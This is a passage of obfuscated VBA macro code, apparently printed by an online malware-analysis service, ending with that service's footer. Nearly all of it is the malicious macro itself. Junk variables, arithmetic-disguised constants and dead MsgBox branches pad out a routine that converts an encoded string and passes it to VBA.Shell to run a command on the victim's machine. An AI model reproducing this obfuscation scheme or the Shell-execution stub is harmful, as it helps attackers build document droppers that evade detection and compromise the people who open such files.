> 195 Then pY7wRc = "yJLlqCu" MsgBox pY7wRc, 35, "pUHvMQx74" End If U3GTcDN = "oHVpT7g" If Len(U3GTcDN) > 131 Then lGq7K = "rCwGhX" MsgBox lGq7K, 8, "GdGm1" End If Hgnp8CR = "dqenvtu9p" Hgnp8CR = LTrim(Mid(Hgnp8CR, 27174 / 4529, 27174 / 4529)) BgTHl = "Uz3OUqTJ" BgTHl = Trim(Mid(BgTHl, 27174 / 4529, 27174 / 4529)) HgjSLeU = "noJT5t6k" If Len(HgjSLeU) > 241 Then CbeI1pVrt = "HLs6Nj" MsgBox CbeI1pVrt, 18, "ucn6Q" End If EjeIr5H2 = "K8C6aTB" If Len(EjeIr5H2) > 220 Then Kd0Wt6ePC = "ryvt6km" MsgBox Kd0Wt6ePC, 36, "gYepH" End If End Function Attribute VB_Name = "SZ8De" Public Const fbuQpZg = "BASE64" Public Sub fBpoCXUN(pcuIyt0JR, ElioVP) VcM9wknb = "WBivg3" If Len(VcM9wknb) > 134 Then ilNvcYg = "Nlw0VCZz" MsgBox ilNvcYg, 22, "Q5bJZ" End If Dim zQ93e2Z As String L3v6E0g = "Zi6psL" L3v6E0g = Trim(Mid(L3v6E0g, 4332 / 361, 4332 / 361)) ksdyU = "h3TRy" ksdyU = Trim(Mid(ksdyU, 31829 - 31828, 31829 - 31828)) gx7y06DfY = "kv1WCA" gx7y06DfY = Trim(Mid(gx7y06DfY, 31829 - 31828, 31829 - 31828)) zQ93e2Z = StrConv _ (pcuIyt0JR, _ 10624 / 166) Kn4CurAfU = "JKmvTbl1" If Len(Kn4CurAfU) > 254 Then YjZYaF = "NMSuoJU" MsgBox YjZYaF, 5, "R5TX0H" End If ZsoNnz = "LPzNrDQW2" ZsoNnz = Trim(Mid(ZsoNnz, 2947 - 2943, 2947 - 2943)) hFI7Ehy = "Yx12T5mr" hFI7Ehy = Trim(Mid(hFI7Ehy, 19980 / 1332, 19980 / 1332)) mJfkAKBud = "X01dGfo6r" mJfkAKBud = LTrim(Mid(mJfkAKBud, 4354 / 311, 4354 / 311)) Uco4v3Hkb = "IqAcX" Uco4v3Hkb = Trim(Mid(Uco4v3Hkb, 4354 / 311, 4354 / 311)) XQLduWX8 = "JQlGDBrP" XQLduWX8 = RTrim(Mid(XQLduWX8, 9679 - 9678, 9679 - 9678)) FuL5tZ = "pwiE9XA86" FuL5tZ = RTrim(Mid(FuL5tZ, 9679 - 9678, 9679 - 9678)) RRhZl6rHf = "GYOfz" RRhZl6rHf = Trim(Mid(RRhZl6rHf, 1368 - 1356, 1368 - 1356)) WwT4S7 = "Sax1Ef" WwT4S7 = RTrim(Mid(WwT4S7, 1368 - 1356, 1368 - 1356)) lPbws = "fGFQILy" lPbws = RTrim(Mid(lPbws, 16885 / 1535, 16885 / 1535)) YbdZa6v = "wBUsI7A" YbdZa6v = LTrim(Mid(YbdZa6v, 16885 / 1535, 16885 / 1535)) If Len(pcuIyt0JR) > 0 And ElioVP <> 96875 - 31339 Then XuiRcwV = "suTxveE" XuiRcwV = LTrim(Mid(XuiRcwV, -2545 + 2550, -2545 + 2550)) nOpcY7 = "dO12pkf" nOpcY7 = LTrim(Mid(nOpcY7, -2545 + 2550, -2545 + 2550)) Call VBA.Shell(zQ93e2Z, ElioVP) jpnKRFGr = "zdlJ1" jpnKRFGr = RTrim(Mid(jpnKRFGr, 702 - 694, 702 - 694)) CWbFRUSyQ = "Qt2TIdB5" If Len(CWbFRUSyQ) > 136 Then bZIxazQH = "n1jZGHm8" MsgBox bZIxazQH, 16, "pjOKA" End If pnAVZ = "yivkNc" pnAVZ = Trim(Mid(pnAVZ, 20976 / 1748, 20976 / 1748)) OmkdALR = "YIzqMl8RP" OmkdALR = Trim(Mid(OmkdALR, 20976 / 1748, 20976 / 1748)) End If noblY = "Pwqhr" noblY = RTrim(Mid(noblY, 3374 - 3373, 3374 - 3373)) End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.